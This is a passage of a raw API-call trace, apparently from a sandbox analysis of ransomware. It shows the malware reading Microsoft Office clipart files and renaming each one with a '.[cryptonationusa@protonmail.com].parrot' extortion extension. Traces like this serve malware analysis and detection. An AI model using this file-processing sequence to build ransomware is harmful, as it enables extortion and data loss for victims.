Office\\CLIPART\\PUB60COR\\PH02757U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.939] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.939] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.939] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0150.942] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x30910, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.942] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.942] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.944] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.944] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x307f8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x307f8, lpOverlapped=0x0) returned 1 [0150.953] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.963] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x30910, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.963] CloseHandle (hObject=0x288) returned 1 [0150.964] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0150.969] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa1ea, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.969] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.969] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.971] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.973] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa0d2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa0d2, lpOverlapped=0x0) returned 1 [0150.978] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.979] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa1ea, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.979] CloseHandle (hObject=0x288) returned 1 [0150.979] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0150.984] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc6ef, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.984] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.984] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.985] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.985] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc5d7, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc5d7, lpOverlapped=0x0) returned 1 [0150.989] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.990] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc6ef, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.990] CloseHandle (hObject=0x288) returned 1 [0150.990] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.993] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.993] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.993] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0150.994] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf550, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.994] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.995] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.002] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.002] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf438, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf438, lpOverlapped=0x0) returned 1 [0151.006] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.008] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf550, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0151.008] CloseHandle (hObject=0x288) returned 1 [0151.008] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.011] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.011] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.011] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0151.013] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x320a, nNumberOfBytesToLockHigh=0x0) returned 1 [0151.013] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.013] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.015] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.015] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x30f2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x30f2, lpOverlapped=0x0) returned 1 [0151.016] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.017] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x320a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0151.017] CloseHandle (hObject=0x288) returned 1 [0151.018] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.020] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.020] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.020] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0151.023] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3d5d, nNumberOfBytesToLockHigh=0x0) returned 1 [0151.023] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.023] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.025] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.025] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c45, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c45, lpOverlapped=0x0) returned 1 [0151.026] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.027] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3d5d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0151.027] CloseHandle (hObject=0x288) returned 1 [0151.027] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.029] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.029] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.029] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0151.031] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3d8e, nNumberOfBytesToLockHigh=0x0) returned 1 [0151.031] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.031] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.085] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.085] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c76, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c76, lpOverlapped=0x0) returned 1 [0151.087] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.087] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3d8e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0151.087] CloseHandle (hObject=0x288) returned 1 [0151.087] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.090] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.090] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.090] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0151.092] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x112e, nNumberOfBytesToLockHigh=0x0) returned 1 [0151.092] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.092] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.094] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.094] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1016, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1016, lpOverlapped=0x0) returned 1 [0151.094] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.094] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x112e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0151.094] CloseHandle (hObject=0x288) returned 1 [0151.095] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.098] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.098] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.098] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0151.100] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4aea, nNumberOfBytesToLockHigh=0x0) returned 1 [0151.100] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.100] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.102] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.102] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x49d2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x49d2, lpOverlapped=0x0) returned 1 [0151.103] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.103] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4aea, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0151.103] CloseHandle (hObject=0x288) returned 1 [0151.104] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.106] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.106] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.106] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0151.108] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x79c7, nNumberOfBytesToLockHigh=0x0) returned 1 [0151.108] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.108] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.109] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.110] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x78af, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x78af, lpOverlapped=0x0) returned 1 [0151.111] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.112] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x79c7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0151.112] CloseHandle (hObject=0x288) returned 1 [0151.113] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0151.118] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7568, nNumberOfBytesToLockHigh=0x0) returned 1 [0151.119] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.119] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.120] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.120] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7450, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7450, lpOverlapped=0x0) returned 1 [0151.122] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.124] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7568, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0151.124] CloseHandle (hObject=0x288) returned 1 [0151.124] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.126] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.126] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.126] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0151.138] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa45b, nNumberOfBytesToLockHigh=0x0) returned 1 [0151.138] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.138] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.139] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.140] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa343, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa343, lpOverlapped=0x0) returned 1 [0151.142] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.143] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa45b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0151.143] CloseHandle (hObject=0x27c) returned 1 [0151.143] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: 